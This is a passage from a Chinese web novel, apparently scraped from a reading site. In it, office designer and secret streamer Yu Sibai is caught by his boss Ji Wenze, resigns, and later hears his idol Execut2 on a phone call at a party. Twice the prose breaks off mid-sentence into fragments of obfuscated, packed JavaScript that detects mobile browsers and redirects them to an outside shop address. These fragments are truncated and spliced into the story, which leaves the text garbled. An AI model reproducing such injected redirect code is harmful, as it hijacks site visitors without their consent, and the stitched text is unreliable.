RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16358625|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他老板。” “……哈?”梁路大脑宕机了好一会儿,“你你你就是那个——”他猛地住嘴。 好险……差一点就在小白哥老板面前,把他骂老板的事儿捅出去了啊啊。幸好自己反应快。 对方身份一出,梁路心里那点古怪的防备感立马散了,取而代之的,是一种莫名矮了对方一截的感觉。 他指尖搓搓衣摆,问:“您对每个员工都这么好心吗?” 季闻则轻笑一声,耐心道:“当然不是。” 梁路心里咯噔一下,下意识把郁思白往自己这边拉了半寸。可对方又实在表现得太过坦然,让他理智上根本没法多想。 “薛简是我朋友。”季闻则说。 他没多解释,也没说什么因果关系,但梁路想了一下,还是了然。 原来是看在薛老板的面子上。 饶是对男人的身份有了预期,看到地库里那辆价格不菲的车时,梁路还是在心里感叹了一下。 现在他只是拿到国内联赛的冠军,得等他成为世界冠军的时候,一整年的商务费,可能才堪堪够买下一辆…… “你知道他家住址吗?” 梁路被提问回神,摇头:“不知道……” “那你回去吧。”季闻则含笑,“我来送就好——你知道的,这也是他的隐私。” 梁路怔愣,半晌说不出反驳的话,只好把郁思白安顿在副驾安顿好后,就一步三回头地离开。 季闻则绕到驾驶座坐进去,却没有启动车子。 他摘了口罩放好,顺带侧头看了一眼歪着脑袋又安详睡过去、显然缺觉缺得厉害的青年,失笑。 “让你早下班都没用么……” 收回视线,他在前面架了个平板,整理衣领袖口,挂上耳机调试片刻,连进会议。 不早不晚,恰好十点五十整。 “抱歉,我是临时接到会议通知,只能在这里跟大家见面了。”季闻则含笑开口。 他的英文流畅,但并不是教科书式的标准英音,更像是在其他欧洲国家长住过,带着些不易分辨的地域差异。 坐在副驾的人忽然动了一下,肩膀歪着,失去了支撑,眼看就要软趴趴倒下来。 季闻则仍然看着屏幕,口中交流没停,曲腕抬手。 半秒后,青年的头抵在了他右手手背上,触感奇特,半边是帽子,半边是蓬软的头发。 就这么抵了片刻,季闻则才反手用了个巧劲,把郁总监聪明的脑袋重新放回了头枕凹陷里。 自始至终,他都没有往过看一眼。 因而也没有看到,被重新安顿好的青年,在帽檐的遮掩下,悄悄睁开了眼睛。 那双总懒倦着的眼睛里,还残留着酒精和困意带来的迷茫,渐渐的,变成呆滞。 车内除了男人开会的声音,就只剩空调内循环的底噪,理智只醒了一半的郁思白,连大气都不敢出。 ……有没有人能来告诉我,为什么一觉醒来会发现自己在老板车上。 21.第 21 章 郁思白有点恍惚。 他刚醒来的时候,听到耳边老板的声音,还以为自己是开例会的时候不小心睡着了。 现在……还不如是例会啊! 他借着帽檐的遮挡,偷偷把眼睛睁开一条缝,环视四周。越看、越是心凉。 熟悉的出厂设置款内饰,熟悉的老板的声音,熟悉的冷水味道香薰—— 昨天晚上刚坐过的位置,今天又坐上了……这到底是怎么一回事呢。 好想逃。 但也只能是想想而已,郁思白一点都不敢动——主要是,也不知道该摆出什么表情,说点什么话。 退一万步讲,他就不能趁着老板在开会,开门就跑溜之大吉吗,周一再见面的时候就说是的我有一个双胞胎兄弟…… 额角还突突的跳,酒精在他血液里压根没怎么代谢似的,连带着长期睡眠不足的困劲儿,把神志搅和得不甚清醒。 他努力开动脑筋,缓了好一会儿,才从自己半梦半醒听到的话里,理清了思绪。 大约是长期的睡眠不足,让他轻而易举被三杯啤酒弄出了醉倒的效果。其实并没醉得多狠,只是困劲儿突然上来,怎么也抵挡不住。 喝之前,薛简说会找人送他回去……所以这就是薛简叫来的人? 这是招了个鬼吧! 郁思白胸口重重起伏了一下。 季闻则是薛简叫来的朋友——八成就是他吹牛的时候总提到的,那个继承家业的发小。 跟朋友聚会被老板抓走这种事,原来是会真实发生的吗? 幸好他喝多了可以装死……但话又说回来,要是没喝多,季闻则根本不会出现在这里好吗! 郁思白闭着眼睛,努力安抚着在崩溃边缘的自己。 幸好他已经变成一个只会睡觉的安静男子,和平时差别没那么大;幸好他没有借着酒劲举着麦克骂老板被抓个正着;幸…… 等等。 郁思白残存酒意、转的不是很灵光的大脑忽然发现一个更加严峻的问题。 他、的、马、甲。 季闻则是薛简叫来的,那他知道自己为什么在这里吗?知道自己是以什么身份在这里吗? 冷不丁的,郁思白想起家里那套嘉年华限定周边——现在想想,自己在饭局上也没表现出过多的热衷,季闻则这么精准送礼,对吗? 郁思白想倒吸一口凉气,但又怕这么一动,吸引来boss的注意。 薛简跟他说过多少。 季闻则……又知道多少。 郁思白觉得头晕,不知道是喝多了还是快死了。 空调的微风掠过,吹得他额前的一小缕刘海不断摇晃,在他眼皮上不断摇晃,挠得他痒。 郁思白硬生生忍了,在思考出应对方案前,他打算装死直到老板离开。 可没等他想好,旁边就传来了会议结束的声音。 季闻则收拾了开会的东西,蓝牙耳机落在盒子里,发出清脆的咔哒声,再然后是窸窸窣窣的衣料摩擦声,季闻则像是在调整座椅。 突然,郁思白感觉到,好像有什么东西正慢慢靠近自己——从远处,一点点贴近他的脸。 他下意识屏住呼吸,那感觉却越靠越近,近到他无法忽视的地步,近到他甚至能感觉到人皮肤的温度—— 啊啊啊你在做什么!!! 郁思白整个人一抖,猛地睁开眼睛。 映入眼帘的,却不是他以为的什么奇怪画面。 他的眼镜被一只骨节分明的手拎着,故意缓缓递过来,几乎要贴到他鼻梁上。 而他老板本人,正好整以暇地坐在位置上,似笑非笑地看着他。 显然是早就发现他醒了,才这样逗弄。 郁思白磨了下牙。 这一睁眼,困劲彻底跑了个干净。 连带着一块儿跑了的,还有他最有可行性的装死计划。 “什么时候醒的?”季闻则笑眯眯道,“醒了就自己报地址,免得我去系统里查。” “不用……”郁思白一开口,被自己又哑又干涩的嗓音吓了一跳,清了清嗓子才又说,“不用了,我自己回就行。” 季闻则偏头,懒洋洋看他:“那我白跑一趟?” 郁思白收回视线,目光乱飘:“季总,你也不想被杨助知道你半夜查下属住址吧。” 显然是打定主意不准备说了。 季闻则不知为什么,闷声笑了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16367610|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿,手从手刹上移开,那架势,显然也是准备先唠一唠再走。 郁思白心猛地提起来。 “我把卢近仁和钱翀的事处理了。”季闻则说。 郁思白又猛地松了那口气。 谈工作啊……那没事了。 事到如今,只要不是戳他马甲就好。 眼珠一转,郁思白没问具体情况,只干巴巴“哦”了声。 见他没有要发表看法的意思,季闻则指尖搭在上方向盘轻点,自己转了话题。 “钱远新在上面呆久了,但我不是。”他说,“我也是从你这个位置过来的,到现在也还没几年呢。” 他的语气比平时更加温和,引得郁思白下意识侧头——老板坐姿很是放松,像和朋友随口聊天一样,似乎铁了心要跟他套这个近乎。 郁思白抿了下唇,恰到好处的酒精浓度,让他有种思维更加敏捷的错觉,想了一下,直接噎回去一句。 “谢谢,不当总经理。” 一句话,又把季闻则逗笑,笑得郁思白后背瘆得慌,忍不住皱眉打量他。 老板疯了? “平时多说两句话,郁组长。”笑过之后他又问,“总不说话,是有什么心事吗?” “我生性不爱说话。”郁思白木着脸。 季闻则撩起眼皮看了眼,莞尔:“是吗,但是我看你口才挺好的。” 郁思白整个人僵了一下,只觉得他这话说得意有所指。 口才?他只有直播的时候才有口才。 季闻则什么意思? 他知道什么了! 脑海里不受控制地闪过无数猜测,头脑风暴刮得郁思白两眼发黑,老板那边,又悠悠地问他:“怎么不说话。” “口才不好。”郁思白脱口而出。 “没关系的,郁组长。不用在我面前藏拙……你改的图我都看过了,你很优秀。” 季闻则语气温和,又把话题拽回工作,把他夸得有些摸不着头脑。 郁思白心里那个死死揪住马甲的小人松了口气,悬着的心正摇摇摆摆地往下落,就听这人笑吟吟道。 “我想让你当总监,又不是图你百万粉丝大主播的漂亮口才。” 22-30 第22章 有那么一瞬间, 郁思白觉得挺不真实的。 小心翼翼捂了这么多年、生怕被同事发现的马甲……竟然就这么直接捅到了大老板跟前。是不是有点刺激过了? 假的吧,我肯定是喝多了。 郁思白抿了下唇。 “怎么了?主播。” 阴魂不散的声音响起,敲碎了他最后自欺欺人的龟壳。 郁思白像中了一箭, 僵硬片刻,深深提起一口气:“你什么时候……” 他本想问你什么时候知道的, 话到嘴边又收了回去。 这人嘴里三分真七分假, 问也白问。 季闻则含笑等待着他未尽的问题,郁思白不接着问,他就也不开口抢答。 郁思白开始思考后续。 被发现了就意味着,他以后再也不能在直播里炫耀自己又虚假加班玩弄了老板的加班费。 再也不能回老板一句“我熬夜改”,然后扭头继续快乐打游戏。 再也不能把在公司见到的极品同事说给直播间听。 …… 简直就是没有衣服了。 “不用这么紧张。”季闻则说,“我并不在意员工有什么副业。” 但我在意。郁思白抬眸注视着神情悠闲的老板, 心道。 让你什么都不穿站我面前你乐意? 季闻则明显感觉到他的抗拒,轻笑道:“看你现在还算清醒, 不如我们开诚布公地谈谈?” “你说。”郁思白终于开口, 立刻进入了他惜字如金的工作状态,多一个字给老板都欠奉。 季闻则笑笑, 没在意:“老实说,要把你提成总监是我在总部就想好的事。我看过你的履历……一组是你一手组建的,里面几个核心人物原本都是公司的边缘人,你能把他们发掘出来, 为你所用, 这正是我对总监的能力需求, 你不必妄自菲薄。” “卢近仁有句话说的没错——公司想要整个设计部门勠力同心。但如果没有一个可靠的掌舵人,那也都是白搭。郁组长,你今天的改图证明你有这个能力,甚至……很轻松。” “如果我答应了, 能得到什么?”郁思白问。 他的动摇让季闻则笑意更深,想了一下说:“工资上,以后二组的分成理所当然也有你的一部分,具体比例你可以提。工作时间……” 他忽然一顿,轻笑了声才接着说。 “理论上,这就是你要自己调整的部分了,但我相信郁总监有能力平衡好工作和生活。” “会天天加班?”郁思白问。 季闻则唇角弯着,只说:“这就要看你愿意用出几成的力了。” 郁思白心下沉沉。 这是连藏拙的事儿都弄明白了……也是,光是下午甩钱翀脸上的那几份图,就已经足够明显。 怪他一时意气上头,但根本原因还是卢近仁非要犯这个贱,而卢近仁会出现在公司,归根结底不还是季闻则点的头吗? 郁思白垂眸,帽檐遮住昏黄的灯光,他视线黑沉沉落在自己膝盖上,工牌一角从风衣口袋掉出,露出一个公司的logo。 接到钱远新抛来的橄榄枝时,刚组建一组时,他还以为自己会在这个地方实现抱负,是真真切切准备在这里干一辈子的。 虽然如今落得这样的结局,但这几年来庭季给他的薪资,实打实也帮他度过了最后那段困难时光。 他其实早就自由了不是吗。 “谢谢,季总……也谢谢庭季。”他忽然说。 季闻则笑了一下:“有什么好谢的,这是你自己努力争取的结果。合同杨孟越已经拟好了,周一抽空来……” “不是的。”郁思白摇头,也弯了弯嘴角,大约是还带了点酒劲,他不大能控制好表情幅度,原本只想象征性地笑一下,颊边却冒出梨涡来。 “谢谢季总,让我意识到还有别的选择。” 青年笑得很甜,一双眼睛却落在帽檐的阴影下,声音平静。 “我是说,我想辞职。” 车内空气忽然凝固,季闻则抿着唇,眼底的笑意淡了几分。 半晌,他微拧着眉开口:“给我一个理由。” 郁思白没看他:“您既然知道我在当主播,那肯定也知道,我不缺钱。我可以摒弃不想要的生活。” “你想当全职主播?”季闻则轻轻嗤了一声,劝了句,“这不是长久的选择吧。” “和您无关。”郁思白垂着眼睛说。 “郁组长,不要耍脾气。” “我很冷静。单纯就是财富自由,想过点不一样的生活,仅此而已。”郁思白说。 这个瞬间,他忽然就明白了,为什么卡神会说“攒够一百万再说还钱的事”。 这是底气,是他面对老板、能这样毫不留面子地说出这番话的底气,是随时可以抽身的底气。 一百万用沪币来算,干什么都是杯水车薪,但去一个三四线小城,足够过得很好。 “你不准备再从事设计了?”季闻则开口,尽量让自己语调平和,让这句话显得不那么像威胁。 “大概。”郁思白却压根没仔细分析,答得不咸不淡,“爱好变成工作,做腻了也正常吧。” 明明喝酒的不是自己,季闻则却忽然开始头疼。 他看着郁思白,从未如此清晰地感觉到他对这场谈话的抗拒,又或者说,对“季闻则”这个人的抗拒。 明明只隔着一个中控台,两人之间却好像被筑起一道无形的高墙——郁思白并不打算越过墙向外看看,而他,也从未透过这面墙看到真正的“郁思白”。 原本随意搭在方向盘上的左手不再轻点,背对郁思白的那面,手背绷起一道青筋,蜿蜒着藏进体面的衬衫之下,西装布料硬挺,半分也看不出肌肉紧绷。 照理说,季闻则有无数种手段,能让拒绝沟通的人开口,更别提他连郁思白的退路都握在手里——他当然可以拿捏住Respit2这个小马甲,告诉他,你当主播的命运也会被我干涉。 但他说不出来。 ……这是他七年前亲手从悬崖边上拉住的小孩,总不能,现在又被自己亲手推进去吧。 季闻则深吸一口气:“对于发现你主播身份的事……我也很遗憾这个意外的发生。” 至少对他自己来说,如果不知道青年这层身份,想把人钉进总监的位置,又何必这么束手束脚。 像他去抓家里的那只反骨猫,怕动作重了掐到,又怕声音大了惊到——最后,还是连个指甲都剪不到。 真是……难得没辙。 郁思白听见驾驶座上的人低低叹了口气,收回了钉在他身上如有实质的视线。 紧绷的肩头瞬间悄悄垮了,下意识放轻的呼吸也重重吐了出来。 “……好吧。”季闻则说,“辞职的事,我知道了。” 他同意了? 郁思白猛地抬眼,侧头看过去,季闻则仍旧一张笑脸,目光直视窗外远处,仿佛眼下只是个微不足道的小插曲,没有什么能拦住他的路。 季闻则说:“周一交给我一份书面的辞职申请,然后给公司一个月时间,找替代你位置的人。找到之后再进行工作交接……没有异议吧?” 他微转眼眸,看了郁思白一眼。 “没有。”郁思白顿了一下,回过神来,立刻伸手抓住门把道,“不麻烦季总送了,我暂时还不打算走。” “要上楼回去?叫人来接你吧,不然出了事算谁的。”季闻则轻哂,随口问,“怎么喝成这样?” 郁思白确实不记得房间号,却也实在不想再和老板共处一室,答得敷衍:“玩游戏,抽到了不想做的惩罚卡。” 季闻则揶揄:“还有你不敢做的事儿?” “不是不敢。”郁思白微微皱着眉,强调,“只是不想做而已。” “我有点好奇。” 季闻则似乎只是随意一问,又像是及时止住自己的试探,补充,“不方便的话,就算……” “不合适,不方便——就像您在下班时间出现在这里一样。” 郁思白几乎同时开口,声音压着他的,却和往常不同,紧绷着说:“我不想打扰别人。” 郁思白猛然意识到自己火气来的莫名,动了动嘴唇,下意识道:“我是说,不打扰您了……” ……死嘴!都提辞职了,还低什么头啊。 他把帽檐压得更低,伸手攥紧门把。 下一秒,咔哒一声,车门解锁。 季闻则嘴角微微勾着,对他的怒气未置可否,只是眼底的热络潮水般褪去,退回他们第一次见面的样子,眯了眯眼,狐狸似的。 “那我就不留你了,下周见。” 他轻飘飘的,还是那句话。仿佛费尽心机得来的猎物脱手,对他来说,并不是什么值得在意的事。 收回视线,郁思白半秒都没再犹豫,拉开车门抬脚迈出去。 “郁思白,我是长了一张让你讨厌的脸么?” 季闻则的声音从身后响起,漫不经心,头一次叫了他的名字。 郁思白的手猛地攥紧,他觉得自己大概真的是喝多了,否则怎么会觉得,这个声音、这个语气……让他想到Execut2。 头脑和嗓子仿佛都被按进酒里,他重重咬了一下腮边软肉,没有回头,哑声说。 “没有。” 说完他反手关上了门,闷头把那辆车甩在身后。 地库的冷风刺得他一个哆嗦,灯光却比车里明亮,仿佛一脚踏进了新的世界。 只是这样就行了……? 提一个辞职,他就答应了……? 抿了抿唇,郁思白不禁有点恍惚。 就好像自己的世界突然被龙卷风席卷而过,把房子都卷走的时候,自己对天上喊了一声“龙卷风你不要再刮我了!”,而龙卷风就真的应声停了一样。 好荒诞。 ……话说回来,老板还没来就顶号让自己当总监,也挺荒诞的。 好在终于结束了。 郁思白重重呼出一口气,明明该一身轻松的,可现在他只觉得浑身空空荡荡,不知如何自处。 他加快脚步进了电梯,好像走得越快,乱七八糟的思绪就越追不上他一样- 半小时前被接走的人,突然推门自己回来了——众人齐刷刷看过去,目光呆愣得哪还有一窝冠军的样子。 pupu下意识把最后一块炸鸡往怀里藏了藏,问:“你、你这是梦游回来了?” “小白哥!”梁路惊喜。 郁思白上前一步抢了炸鸡,张嘴就是一口,含糊道:“你们也真敢放我跟老板走?” 一直没说话的薛简心里忽然咯噔一下,问:“怎么了……?” 郁思白对pupu挑了挑下巴,pupu“哦”了声,抓着后脑勺不太在意道:“就……res当年不是被他那个抽风老板撂酒店门口吗。” “这我知道。”薛简说。 不仅知道,还说给他现老板听了。 pupu笑了下:“最开始,是他老板觉得res脾气好好欺负吧,让他陪人喝酒,结果res喝了酒之后胆大包天,在饭桌上指着他老板鼻子骂了两分钟,据说字字在理句句可信。” “我们组有个姑娘,就是那之后申请调进来的。”郁思白垂着眼睛丢了炸鸡骨头,不急不缓擦手的动作像个优雅的杀/手。 薛简怔愣着理解了片刻,然后到抽了一口凉气,手上纸牌掉了一桌,磕磕绊绊地说:“所以你、你把季……他也骂了?” 那我呢?他不是要来骂我了吗?? 郁思白沉默了一下:“也没有。” 半晌又斟酌着加了一句,“也就一句吧。” “我也没说什么重话……很干脆,目标明确。” “就说我要辞职。” “啊?!”薛简声音骤然提高,然后看着郁思白像被声音吸引的恐怖游戏npc一样,循声看过来,问他。 “薛老板,你之前说的要挖我,还算数吗?” 薛简立刻被呛了一下。 青年眨了下眼睛,浑身上下气质颓然,和两年前那个被丢在酒店外的身影渐渐重叠,叫薛简下意识就说。 “我我、我说的当然算数啊!”脱口而出之后,又一扯嘴角,面露难色,“但是这个,这个……招你也不是我一个人说的算的,不过我会努力给你争取!真的,信我!” 郁思白抿唇笑了一下:“没事儿,我首选肯定还是自己当主播嘛。” “那恐怕很快就会被人挖走吧。”在场唯一打工人,教练ketya说,“co神他们队,TUG,不是也还缺战队的签约主播吗?没事儿res,你有能力,话放出去肯定别人都抢着要。” “对哦……还可以去coco那边。”郁思白眼睛一弯,“还是k哥聪明。” 两人一唱一和的,薛简急得抓耳挠腮,想扯着嗓子说res是我先看好的啊!但眼下这情况,压根不敢。 他低头,噼里啪啦一顿打字。 【???】 【你俩咋了?他把你咋了?你又把他咋了?他要辞职!!】 【这人我到底是能挖还是不能挖?你说句话啊!】 天道好轮回,这次不回消息的,变成了对面。 剩下薛简干着急。 当主播还好,要是res兴致一来,真去别的队当了个副教练,那不是去哪儿哪儿如虎添翼吗! 季闻则!你个没用的东西! 心里正骂着,就听见梁路一嗓子喊出来:“恭喜小白哥脱离苦海!”听着比本人还高兴,仿佛辞职的是他。 郁思白失笑,问pupu:“还有水吗?” pupu塞给他一瓶没开封的,借着递水把人拉到一边,皱了下眉问。 “那你的设计呢?你不干了吗。” 他是陪着郁思白从大学一路走过来的,也比在场的任何人都清楚一件事——res选这个工作,真的是因为喜欢。 大学的时候,res就是知名直播劳模,一天不落,三小时起步。但在这样高强度的直播之前,res永远都会先做完他的专业作业,做的特别认真。那种专注、还有完成时眼里闪着的光,都是做不得假的。 他真的很喜欢做设计。有时候混直播时长,都是在玩类似的游戏,被调侃花钱工作,也只是笑笑…… “只是辞一个工作。”郁思白说。 pupu问:“你这老板会不会给你使绊子,让你在其他地方也找不到工作?” 郁思白想了一下,摇头:“不知道,我不了解他……但其实不干也就不干了。”他笑了一下,“现在也挺没劲儿的,带着镣铐跳舞。还不如去直播。” pupu看了他一会儿,欲言又止,最后还是拍拍他肩膀,只说:“行,你决定了就好。哥们儿支持你。”却还是有点红了眼眶。 “……怎么了这是。”郁思白用手肘不轻不重拐了他一下。都是多年好友,虽然知道pupu就是很感性的人,但说着说着就红眼睛也不常见。 “就是觉着、觉着……”pupu抬头看了看天花板,深吸一口气,抿住嘴憋了一会儿,说。 “觉着人活着真难。” 郁思白本来想劝,又不知道劝点儿什么,最后硬生生只憋出一句:“确实。” pupu破涕为笑,揽过他肩膀,猩猩一样用力在后背上锤了两下,郁思白也回锤过去,变成两只黑猩猩。 梁路坐在沙发上,安安静静等前辈们聊完,才眼睛亮亮地招呼道:“小白哥,璞哥,来玩游戏吧?刚刚还没玩够呢!” “行啊。”郁思白一挽袖子,反手把口罩拉上来,走回镜头拍得到的地方,念道,“三杯啤的真的不算什么……刚刚睡着是个意外!” ketya说:“老实说,你今天明显比平时兴奋。我觉得是酒精的原因。” “那你这算不算激情辞职?”薛简蘑菇一样冒出来说,“激情杀/人还从轻处罚呢,你这……” “我老板同意了。”郁思白轻飘飘地砸下来一句。 薛简最后那点希冀也彻底被砸死了。 “来,发牌!”郁思白手臂一挥,差点打到薛简的脑袋,本人却毫无所觉,“看看你们今天还能让我喝几杯。” “你还喝?”pupu惊道。 “喝一点儿呗,你看我现在状态就很好啊。”郁思白说完,挤了下眼睛道,“就是一会儿要是真醉了……要开口骂老板的时候,你们拦拦我。” pupu答应下来,无有不应。 桌上又热闹起来,就连等不到回复的薛简也暂时放下心里纠结,摸牌摸得比谁都积极。 挑挑拣拣玩了一会儿别的,最后众人还是选了国王游戏扎下根来。ICG全员,对这种损人不利己的游戏向来都很热衷,惩罚牌都被摸过一轮,没了新鲜感,众人一合计,索性直接由国王指定。 郁思白原本已经做好猛喝酒的准备,甚至本身就是奔着这个来的。 但不知道是不是提辞职改了气运,他连抽到两把国王牌,过足了一把玩人的瘾。 “我听说有人辞职之后买彩票中了的,一会儿找个店,你也买一张!”薛简手一挥道。 “不行吧,沪市最近好像开出一个大奖的,一个月内就别买了。”ketya对此很是懂行。 郁思白一弯眼睛:“说不定我的好日子还在后头呢。” 又是一轮发牌。他偷偷掀开自己的牌角,噗哧笑出来,潇洒往桌上一撂,向后靠到沙发上,腿一翘。 “又是朕!” “不得了,辞职辞出个帝王命来。”pupu咋舌。 “我想想……就方片2吧。”郁思白说完,环顾一圈,敏锐地发现薛简神色变了变。 他一勾唇,边思考,边缓缓说:“方片2……给你微信的最近联系人,注意,不一定是置顶,就是最近的那个联系人。给他打电话……” 沉吟片刻,郁思白一弯眼睛。 “打电话,想办法让他给你道歉!” 国王的命令一出,众人一阵失望。 pupu说:“你不行了啊,这次的水准和之前差远了。” 郁思白耸肩:“也不能总让人尴尬个大的吧……比起之前你们的打电话学猪叫什么的,我已经是很人性化的国王了。” 薛简把手里写着方片二的牌一摊开,面色灰败。 “我自愿学猪叫,行吗。”他试图争取。 “不行哦。”郁思白笑眯眯的。 薛简莫名从他脸上看到了季闻则那老狐狸的影子,有一瞬间,甚至怀疑起郁思白是不是早有预谋。人都要麻了。 早知道他就不该来玩游戏的! 他目光发直。 这人刚被惹火,我现在给他打电话,还让他道歉……不是找死吗!res你小子,我还想活着把你挖到ICG啊! 薛简觉得没招,但转念一想,让他为这个罚酒,他又有种自己给季闻则背锅的感觉,很不乐意。 心里纠结着,薛简在众人赶鸭子上架的催促声中,点开了微信,结果惊喜地发现,在他玩游戏的时候,战队运营给他发了条消息汇报工作。 眼下,最近联系人已经成了运营小哥! 薛简一乐,心想,对不住了小伙子,回头给你加工资。然后美滋滋地就把手机画面展示出去。 “看好了啊,就这个人,我没做假的啊——” 就这么半秒的功夫,他眼睁睁看着那个刚被压下去的、备注是【当牛做马倒霉蛋】的头像前,冒出一个红点。 就这么瞬间跳到了第一个。 【打吧。我在看直播。】 ……??! 薛简两只眼睛差点掉出来。 不是,哥们,你上赶着来啊! 他想收回手,但已经来不及了,pupu凑上去念:“‘我在看直播’……哇,这谁啊,这么主动!” “他、他……”薛简憋了半晌,没憋出一个介绍来。 郁思白搭在膝盖上的手攥了攥。 在看直播……这么锲而不舍地盯着,还真是季闻则的作风。 他一笑,说:“那就打呗,薛老板,任务还是得你完成哦。” 他就不信了,季闻则真愿意莫名其妙道个歉? 薛简面色痛苦,但被打电话的本人都说没问题了,他就是现在要自罚三杯,也没人会搭理他,只能硬着头皮,播了语音过去。 梁路手快,按了个免提。 短暂的忙音后,屏幕上的呼叫时间归零为通话时间,从00:00重新起跳。 00:01. 00:02…… 不说话?装哑巴? 郁思白挑眉,见薛简也一副不知该说什么的样子,刚要弯腰靠过去,就听见电话那边,终于响起一个声音。 “嗯?”说话的人语气短促干脆,声线冷淡,带着让郁思白熟悉又陌生的、淡淡的睥睨感。 只一个字,他脑袋就嗡的一下,来不及思考,下一句话就紧接着响起,平平淡淡,却如同惊雷坠地。 “你们好,我是Execut2。”—— 作者有话说:冷不丁写完,于是就这么突兀v了。 晚上0点还有正常的一更~努力粗长!等我嗷! [猫爪] 第23章 对方的声音隔着失真的听筒传来, 和郁思白记忆里,播放过无数次的赛后采访完美重叠。 七年……时间好像没在这句话上留下痕迹一样。 郁思白几乎停跳的心脏,骤然又活跃地跳动起来。 他原本是猜测薛简正在和季闻则聊天, 所以才说了那样的惩罚,现在Execut2的声音一出, 什么闻不闻则的他全丢到了脑后, 急迫地凑上前去。 他看到屏幕上对方的头像——是一条熟悉的蓝白边牧丑照。 它叫捷风,是Execut2出道那年养的狗,长得漂亮,奈何Execut2本人拍出来全是丑照,倒也是独此一家,无人能仿。 ……真的是他。 郁思白攥了一下掌心, 才发现自己的手竟然在抖。 只是愣这么半秒的功夫,他只觉得周围刷地一挤, 原本各自稳稳坐在位子上的众人, 瞬间全部围了上去。 紧接着,教练ketya几乎破音地喊。 “卧槽Execut2?你活着啊!” 电话对面, 不知为何沉默片刻。 pupu挠了下头,小声问:“怎么……不说话了。” 梁路疑惑:“该不会……刚刚对面只是放的卡神的录音?” 没人注意到,郁思白轻轻摇了下头。 不是的。 不是录音。 他曾经剪过一个卡神赛后采访自我介绍的卡点cut,那个视频在后来的时间里, 被他几乎盘到包浆。他甚至能分辨出哪句话出自哪场采访—— 而刚刚那句, 不属于任何一场。 薛简从震撼里回过神来, 犹豫了一下说:“喂……?” 你他妈的接了电话任务还没做就走人是什么意思啊! 信不信我今天就拖着res去签合同啊! 心里一怒之下怒了一下,开口谨小慎微道:“人还在吗?” 半晌,对面淡淡“嗯”了一声。 “恭喜夺冠。”他说。 人群中响起几下倒抽冷气的声音,紧接着, 不知是谁细声细气问了句“真的是卡神吗”,薛简面色复杂,迟疑两秒,还是重重点了下头。 下一瞬,骤然爆发的欢呼声几乎要把屋顶掀翻。 梁路几人年纪小,Execut2对他们来说是只存在在历史里的、鼎鼎大名的传说级人物,此刻一个个都兴奋着。 “谢谢卡神!” “卡神我看你比赛长大的!” “啊啊啊我跟卡神说上话了!” 教练ketya特立独行,高大的男人一抹眼睛道:“行啊,我也算是等到你这句话了……” 他吸了吸鼻子,忽然抬高嗓门,瓮声喊:“你他妈,你个没良心的!Execut2!把我和Cameis从欧洲拐到这儿自己退役了!你他妈的、你他爸的、你、你——” “负心汉!!” 留着络腮胡的高大欧洲人,就这样操着一口流利中文,哭喊着负心汉。 ketya兀自喊得入神,周围人又是感慨又是忍笑,还有急着插话跟卡神说一句的,整个包厢乱成一锅粥。 同样年纪不小的副教练问:“Execut2,你这些年都没个消息……现在怎么样啊?” 郁思白竖起耳朵,偷偷地听。 早在这锅粥乱起来之前,他就默默往后一缩,靠回了沙发上,听着Execut2或多或少地回应每个人——多则三个字,少就一个“嗯”。哪怕只是听着,口罩下的嘴角也悄悄抿出一个笑。 他没开口,也实在是觉得,自己插不上话。 不提教练ketya和副教练、哪怕只是和ICG其他选手比起来,他和Execut2的关系都是最远的。 ketya是当年Execut2在欧洲时的冠军队友,副教练是替补,华裔。两人被他一起挖回国带到cn……这样的关系自然无人能比。 至于pupu、梁路这些ICG选手,算起来,也都是Execut2的嫡系后辈,Execut2作为ICG投资人之一,说不定还给谁签过转会协议。 他嘛……他……欠Execut2二十万? 郁思白被自己逗笑了,听见Execut2淡淡的回复。 “凑合。” 这是过得不太好吗?郁思白皱了下眉。继续侧耳去听。 ketya叹了口气说:“那……啥时候有空,出来吃个饭?” Execut2顿了一下,沉声道:“抱歉。” ketya几乎要趴到桌上的身体明显一僵,半晌,扯了扯嘴角,用母语低声骂了句什么。直起身说:“也是,你根本不敢见我们吧……那随你。” 包厢陡然静下来,所有人都清楚地听到电话对面,男人加深的呼吸声。 薛简咳了一下,轻声迟疑开口:“那什么……那个,任务是不是,算完成了?” 刚刚Execut2确实说了抱歉。 他看向郁思白,心里也猜得到,估计这季祖宗让他打电话,八成是因为对方。 郁思白也意识到气氛不对,没出声,点了点头,心里却忍不住遗憾。 这一挂电话……不知道下次听到卡神声音又是什么时候了。 也不知道直播回放的音质怎么样,能不能听清卡神的声音。要是被淹没在鬼哭狼嚎里可就坏了…… 他一边想着,一边抬手收拾桌上的牌,一张一张捡回手里,仔仔细细按着数字大小摆正。 “行。”薛简松了口气,“那我就挂了。” 他刚要拿起手机,却听Execut2开口。 “说完了?” 薛简一愣:“对、对啊……” Execut2问:“所有人?” 郁思白捏牌的指尖忽然下意识用力,清楚地听见自己心脏深处,重重地“咚”了一声,紧接着,是如同急雨般加快的跳动。 催促着、鼓励着…… 薛简抬头环顾四周,疑惑道:“是的吧……应该——” “……我。”郁思白吸了口气,只觉得浑身上下都随着心跳轻轻战栗,他努力语气平稳道。 “我还没说。” 薛简脱口而出一句“啊?”,紧接着一回忆,还真是如此。 大家只顾着兴奋地叽叽喳喳,压根没人发现,平时男神老公叫的最欢的人,刚刚竟然一个字都没蹦出来。 几人都往后坐了坐,把位置让开给他,pupu用手肘拐了拐他的,一双眼睛里有兴奋在跃动。 郁思白被他一肘子拐到桌前,后背沁出一层细密的汗,张了张嘴,第一下甚至没发出声音来。 “Respit2。” 